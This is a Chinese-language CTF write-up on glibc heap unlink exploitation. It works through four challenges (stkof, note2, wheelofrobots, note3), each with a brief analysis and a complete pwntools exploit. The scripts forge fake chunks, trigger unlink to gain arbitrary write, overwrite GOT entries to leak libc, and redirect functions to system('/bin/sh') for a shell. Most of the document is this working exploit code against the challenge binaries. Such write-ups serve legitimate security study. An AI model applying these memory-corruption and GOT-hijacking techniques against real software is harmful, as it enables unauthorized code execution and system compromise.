由于unlink的檢查,一般利用存儲堆地址的地方(可能是個全局?jǐn)?shù)組,全局變量或者其他下次能訪問的地方)的地址-0x18 賦值給fd,-0x10賦值給bk(64位情況下,32位下分別是-0xc,-0x8), 然后構(gòu)造unlink后該地址存儲的堆地址被修改為該地址-0x18的地方,于是再操作目標(biāo)堆就變成操作該地址-0x18上面的數(shù)據(jù),達(dá)到了修改
1.實例2014 HITCON stkof
題目分析
(1)可以指定大小分配內(nèi)存
(2)分配的內(nèi)存的地址存儲在全局?jǐn)?shù)組中
(3)修改時可以寫入任意長度數(shù)據(jù),導(dǎo)致堆溢出,這里可以主動觸發(fā)unlink
總結(jié):
由堆溢出修改下一個chunk的inuse和prev_size并釋放下一個chunk,導(dǎo)致對該chunk的unlink操作.
exp:
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if __name__ == "__main__":
exp()
2.實例2016 ZCTF note2
題目分析
1.myread里面有整數(shù)下溢出,可導(dǎo)致堆溢出
2.分配的內(nèi)存指針存儲在全局變量數(shù)組
3.和上一個例子差不多,通過堆溢出修改chunk關(guān)鍵字段,free某個chunk時主動觸發(fā)unlink,從而可以修改堆數(shù)組
4.利用atoi的got覆蓋為system,好處在于可以輸入字符串參數(shù)/bin/sh直接調(diào)用,不用構(gòu)造這個參數(shù)了
exp:
# coding=UTF-8
from pwn import *
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)
def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))
def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)
def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')
# chunk0: a fake chunk
ptr = 0x0000000000602120#程序中用來存儲各個note的地址
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
gdb.attach(p)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)#此時視為chunk2后面的0xa0大小部分為未使用的,故發(fā)生合并操作,合并之前需要對其unlink
# overwrite the chunk0(which is ptr[0]) with got atoi
#got表地址是直接可以用的,因此將atoigot表地址覆蓋note1地址,這樣讀取的時候會將atoi真正地址讀取出來
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)
p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)
# get system addr
atoi_offest = libc.symbols['atoi']#再結(jié)合符號表中atoi對libc的偏移即可得到libc基址
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']#同時又可以獲得system真正的地址
system_addr = libcbase + system_offest
print 'leak system addr: ', hex(system_addr)
# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)#通過編輯note1將system地址寫入到atoi 的got表
# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')#再次觸發(fā)執(zhí)行atoi并將此次輸入作為參數(shù),而真正調(diào)用的是system,故能getshell
p.interactive()
3.實例2017 insomni'hack wheelofrobots
程序邏輯比較復(fù)雜,robots和wheel,給robots添加wheel,這個robots不用管它,添加wheel時,有幾種類型:
bender
chain
destructor
tinny
devil
ire
最多分配2個wheel,不能2個是同類型的wheel,每次分配前每個類型的wheel有對應(yīng)的全局標(biāo)識變量標(biāo)識是否已經(jīng)被分配過一次,每次分配的指針存儲在全局變量,這些全局變量在bss連續(xù)挨著的.
其中只有bender,destructor和devil類型的wheel可以設(shè)置自定義大小
可以修改這些wheel的堆內(nèi)容
可以查看某個wheel的堆地址
全局變量的off by one可以修改bender的是否已經(jīng)被使用的標(biāo)識變量
在這里將標(biāo)識修改,從而釋放后重引用,將fd修改為destructor size處,再次分配得到處于destructor size地址的堆,從而可以修改destructor size,再對destructor 堆進(jìn)行溢出,實現(xiàn)unlink,對destructor 修改相當(dāng)于修改這些堆指針,修改tinny指針指向destructor 地址,
這樣再次修改destructor 實現(xiàn)任意地址寫任意數(shù)據(jù)
exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
def add(idx, size=0):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.sendline(str(idx))
if idx == 2:
p.recvuntil("Increase Bender's intelligence: ")
p.sendline(str(size))
elif idx == 3:
p.recvuntil("Increase Robot Devil's cruelty: ")
p.sendline(str(size))
elif idx == 6:
p.recvuntil("Increase Destructor's powerful: ")
p.sendline(str(size))
def remove(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline(str(idx))
def change(idx, name):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Your choice :')
p.sendline(str(idx))
p.recvuntil("Robot's name: \n")
p.send(name)
def start_robot():
p.recvuntil('Your choice :')
p.sendline('4')
def overflow_benderinuse(inuse):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.send('9999' + inuse)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
def exp():
print "step 1"
# add a fastbin chunk 0x20 and free it
# so it is in fastbin, idx2->NULL
add(2, 1) # idx2
remove(2)
# overflow bender inuse with 1
#對optionnum進(jìn)行溢出,將benderinuse覆蓋為1
overflow_benderinuse('\x01')
# change bender's fd to 0x603138, point to bender's size
# now fastbin 0x20, idx2->0x603138->NULL
#根據(jù)ida 0x603138是bender's size地址
change(2, p64(0x603138))
# in order add bender again
overflow_benderinuse('\x00')
# add bender again, fastbin->0x603138->NULL
add(2, 1)
# in order to malloc chunk at 0x603138
# we need to bypass the fastbin size check, i.e. set *0x603140=0x20
# it is at Robot Devil
#這個分配不會在fastbin里分配
add(3, 0x20)#這里會將devil的size設(shè)置為0x20,而他的地址正好是0x603140
# trigger malloc, set tinny point to 0x603148
add(1)
# wheels must <= 3
remove(2)
remove(3)
print 'step 2'
# alloc Destructor size 60->0x50, chunk content 0x40
add(6, 3)
# alloc devil, size=20*7=140, bigger than fastbin
add(3, 7)
# edit destructor's size to 1000 by tinny
change(1, p64(1000))
# place fake chunk at destructor's pointer
fakechunk_addr = 0x6030E8
fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(
fakechunk_addr - 0x10) + p64(0x20)
fakechunk = fakechunk.ljust(0x40, 'a')
fakechunk += p64(0x40) + p64(0xa0)
change(6, fakechunk)
# trigger unlink,這個執(zhí)行之后destructor指向自己的地址-0x18處,從而編輯destructor就會編輯到
#tinny 的地址.
remove(3)
print 'step 3'
# make 0x6030F8 point to 0x6030E8
#所以這個地方將tinny 的地址0x6030F8的內(nèi)容修改為0x6030E8,這時再修改tinny的描述,就會改掉destructor
#的指向,實現(xiàn)了任意地址寫任意數(shù)據(jù)
payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)
change(6, payload)
print 'step 4'
# make exit just as return
write(robots.got['exit'], 0x401954)
print 'step 5'
# set wheel cnt =3, 0x603130 in order to start robot
write(0x603130, 3)
# set destructor point to puts@got
change(1, p64(robots.got['puts']))
start_robot()
p.recvuntil('New hands great!! Thx ')
puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
# make free->system
write(robots.got['free'], system_addr)
# make destructor point to /bin/sh addr
write(0x6030E8, binsh_addr)
# get shell
remove(6)
p.interactive()
pass
if __name__ == "__main__":
exp()
4.實例note3
題目分析
1.還是負(fù)數(shù)處理的問題,最高位為1,其余位為0時,則加負(fù)號也等于自己 if ( v1 < 0 ) v1 = -v1;
2.還是用一個數(shù)組存儲堆指針.
3.通過修改第3個堆溢出第4個堆,然后free4堆,對第3個堆進(jìn)行unlink,指向數(shù)組的第0項,修改第3項堆內(nèi)容再修改第0項
實現(xiàn)任意地址寫.
總之和note2差不多,只是導(dǎo)致堆溢出條件不同而已
exp:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import time
def malloc(size,data):
print conn.recvuntil('>>')
conn.sendline('1')
print conn.recvuntil('1024)')
conn.sendline(str(size))
print conn.recvuntil('content:')
conn.sendline(data)
print conn.recvuntil('\n')
def edit(id,data):
print conn.recvuntil('>>')
conn.sendline('3')
print conn.recvuntil('note:')
conn.sendline(str(id))
print conn.recvuntil('ent:')
conn.sendline(data)
print conn.recvuntil('success')
def free(id):
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(id))
print conn.recvuntil('success')
#conn = remote('127.0.0.1',9999)
conn = process('./note3')
elf = ELF('./note3')
libc = conn.libc
free_got = elf.got['free']#p64(0x602018)
puts_got = elf.got['puts']#p64(0x602020)
#stack_got = elf.got['free']#p64(0x602038)
printf_got = elf.got['printf']#vp64(0x602030)
exit_got = elf.got['exit']#p64(0x602078)
printf_plt = elf.plt['printf']#p64(0x400750)
puts_plt = elf.plt['puts']#p64(0x400730)
#libcstartmain_ret_off = 0x21b45
#sys_off = 0x414f0
libcstartmain_ret_off = 0x20740
sys_off = 0x45390
# 1. int overflow lead to double free
intoverflow = -9223372036854775808
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')
# 2. make a fake chunk and modify the next chunk's pre size
fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)
# 3. double free
free(4)
# 4. overwrite got
edit(3,p64(free_got))
#gdb.attach(conn)
#這里有個大坑,free的got和puts的got是挨著的,如果只覆蓋一個會將\x00覆蓋掉puts的低字節(jié)
#因為函數(shù)高字節(jié)的為0x00,所以可以改為p64(xxx)[:-2]避免寫入太多字符覆蓋到puts低字節(jié)
edit(0,p64(printf_plt)+p64(printf_plt))
# 5. leak the stack data
edit(3,p64(0x6020e8))
edit(0,'%llx.'*30)
#free->puts
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
#time.sleep(0.3)
ret = conn.recvuntil('success')
print ret
# 6. calcuate the system's addr
libcstart = ret.split('.')[10]
libcstart_2 = int(libcstart,16)-0xf0
libcstart_2 = libcstart_2 - libcstartmain_ret_off
print 'libc start addr:',hex(libcstart_2)
system_addr = libcstart_2 + sys_off
print 'system_addr:',hex(system_addr)
#gdb.attach(conn)
# 7. overwrite free's got
edit(3,p64(free_got))
edit(0,p64(system_addr)+p64(printf_plt))
# 8. write argv
edit(3,p64(0x6020d0))
edit(0,'/bin/sh\0')
# 9. exploit
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
sleep(0.2)
conn.interactive()